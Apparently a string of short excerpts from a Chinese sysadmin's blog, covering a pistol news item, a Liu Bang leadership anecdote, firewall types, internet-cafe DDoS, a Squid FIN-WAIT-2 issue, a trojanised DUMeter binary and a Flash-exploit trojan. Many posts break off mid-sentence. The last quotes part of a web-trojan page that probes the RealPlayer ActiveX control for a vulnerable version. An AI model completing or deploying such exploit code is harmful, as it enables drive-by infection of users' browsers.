看完报道，我已经快。。。，这次居然是FN的 Five-seveN，而且还是政府型的，因为子弹是特殊5.7毫米（图中可以看出来，黄色盒子里的和下面纸包里的，和上面那个白色盒子里的普通9毫米子弹不同）。这个型号的生产量不高一般只配备给反恐部队，作为P90的配套使用（2种枪使用一样的子弹），因为子弹的原因，选择MP5的部队一般不会用这样的手枪了。说实话从什么方面来看P90都比MP5强，当然也是因为5.7毫米子弹的原因，特别是穿甲威力上，但是子弹实在太难搞了FN公司脑子也是坏掉了设计个啥5.7毫米的，虽然穿甲能力性能一流，但是价格

说了刘邦和项羽

项羽军事能力过人，计谋出众，但是最后败在刘邦手下。

反观刘邦计谋二流，军事二流，说二流都是看的起他，但是却打败了刘邦。那位老师归结了几点

会听 不仅会听的，马上实施。还要在没有人献计的时候去主动问“为之奈何”

会用人 将手下的能人派到最合适的位置

会赏罚 舍得赏罚

项羽就是一盘辣椒太辣了，不适合太多人。而刘邦是一瓢无色无位的水，适合所有人

所以刘邦是个好领导

看看而已了

最近工作中和多家防火墙厂商接触，把收集到的一些东西整理小结一下。写的不准确的地方请各位看官纠正。
       ACL(access control list)，访问控制列表，这类的技术的特点是没有状态。单纯的进行端口开放，关闭，允许通过和不允许通过。但是ACL防火墙技术存在无法对session控制的缺点，可以被很容易的绕过。
      随后又出现了对连接状态进行控制的防火墙。这些防火墙依靠对每个session都进行状态保存，这样补充了ACL的技术缺点。而session防火墙也存在一个

文章见这样黑吃黑的所谓安全厂商爆爆光死掉完了

应该说这样的事情不是啥新闻了，从我开始正式工作开始几乎每年都有这样的消息。

我翻看了以前的记录，几乎拒绝服务攻击占了安全事件一半的记录。每次攻击分析记录中可以看出来，现在攻击的主力基本上已经都是网吧内的机器。一般前几位的流量都是网吧打来的。而且网吧调查取证困难，经常等赶过去系统已经还原了，而且大网吧经常是上百台机器，每台进行检查也不

SQUID服务器被FIN-WAIT-2拖垮了，大量的FIN-WAIT-2堆积导致squid无法正常工作。

从单纯的流量图上看没有异常，抓包文件里面看到了http请求也都正常，没有看出啥特别的地方。

实在不像是攻击，啥攻击出现FIN-WAIT-2大量的现象。

后来群里有牛提出是由于某地网络情况不好，震荡反复重连导致出现这样的情况。

各位看官有啥高见

中招了，起了一个服务两个驱动，貌似是xspoof类的东西。

原因嘛

服务器上有人装了一个看流量的软件DUMeter-v3.50H。我找一个相同版本的发现可执行的文件图标都不一样了，而且居然小了一半，检查发现是有个upx的壳，去了壳发现文件大了82k，看来是这里出的问题。那个机器因为这个软件中招的。

服务器管理员不遵守规范随意下载运行软件。这个问题我算是没辙了。

估计很多人会B4我，不过实在是没动力了，因为最后估计又还是我要倒霉。

网关流量控制软件

freebsd的panabit

linux的tc Traffic Control

记录一下说不定有用

第二次写又了

一周内连续2次，倒霉不当心中了flash的漏洞。

这次木马和微软干上的了，把安全中心内的东西都给做掉。然后居然禁止了sysinternals的工具运行。以往总觉得木马一般都对着冰剑啊syscheck 360之类的。没想到居然这样，不过没杀我的诺顿，怀疑是诺顿没有注册在安全中心里。

记得以前听一个朋友说他们的自己内部的病毒检测工具被木马给干掉了，因为那个工具注册在微软安全中心里，木马把安全中心内的东西全部给list一下然后全部杀掉。没想到居然我就中了一个这样的，看来这样的手段已经被很多木马

看见一个网马

document.writeln("                              finally{if(j!=\"[object Error]\"){if(new ActiveXObject(\"IERPCtl.IERPCtl.1\").PlayerProperty(\"PRODUCTVERSION\")<=\"6.0.14.552\")");
document.writeln("